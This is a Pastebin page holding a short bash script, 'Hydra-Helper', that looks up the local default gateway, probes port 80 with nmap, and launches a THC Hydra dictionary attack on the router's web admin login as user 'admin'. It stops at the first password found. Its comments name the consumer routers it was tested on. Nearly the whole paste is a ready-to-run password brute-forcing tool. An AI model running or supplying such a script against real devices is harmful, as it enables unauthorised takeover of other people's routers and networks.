Pastebin is 300% more awesome when you are logged in. Sign Up, it's FREE!
Guest

Hydra-Helper

By: a guest on Oct 4th, 2010  |  syntax: None  |  size: 2.88 KB  |  hits: 370  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.  
  2. #/bin/bash
  3. echo "##############################"
  4. echo "Welcome to Hydra-Helper v0.2"
  5. echo "##############################"
  6. ######################################
  7. # (C)opyright 2010 - Scamentology                                                        #
  8. #---License------------------------------------------------------------------------------------#
  9. #  This program is free software: you can redistribute it and/or modify it under the terms     #
  10. #  of the GNU General Public License as published by the Free Software Foundation, either      #
  11. #  version 3 of the License, or (at your option) any later version.                            #
  12. #                                                                                              #
  13. #  This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;   #
  14. #  without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   #
  15. #  See the GNU General Public License for more details.                                        #
  16. #                                                                                              #
  17. #  You should have received a copy of the GNU General Public License along with this program.  #
  18. #  If not, see <http://www.gnu.org/licenses/>.      
  19. #----------------------------------------------------------------------------------------------#
  20. #This is my first stab at a shell script so dont be rude.
  21. #It was tested on the following routers
  22. #--Linksys WRT54G
  23. #--airlink-101
  24. #Instructions
  25. #You will need to give the path to you password list then run the script
  26. ######################################
  27. username=admin
  28. dictpath=/root/pass.lst
  29. tasks=15
  30. ######################################
  31. echo "######################################"
  32. echo "Getting Router IP and Port Information"
  33. echo "######################################"
  34. IP=$(ip route | grep default | awk '{ print $3}')             #Gives us The Gateway IP address
  35. prot=$(nmap -sT -p 80 $IP | grep 80/tcp | awk '{ print $2}')  #Gives us open/closed status of port 80. I'm sure NMAP isnt the only way to do this but I know NMAP well enough.
  36. if [ "$prot" == "open" ] ; then
  37.    prot="http"
  38. else
  39.    prot="https"                                               #We will assume its https if port 80 is closed
  40. fi
  41. ##################################################################
  42. # if ["$prot" == "open "] ; then                              #I gave up trying to if/then both protocols
  43. #    prot="http"                                              #
  44. #    display info "Attacking Port 80"
  45. #      if ["$prot" == "closed "] ; then
  46. #         prot="https"
  47. #         display info "Attacking Port 443"
  48. # else
  49. # prot=192.168.1.1
  50. #      fi
  51. # fi
  52. ##################################################################
  53. hydra -l $username -P $dictpath -e ns -t $tasks -f -s -vV $IP $prot-get /
  54. exit
  55. #todo
  56. #improve progress status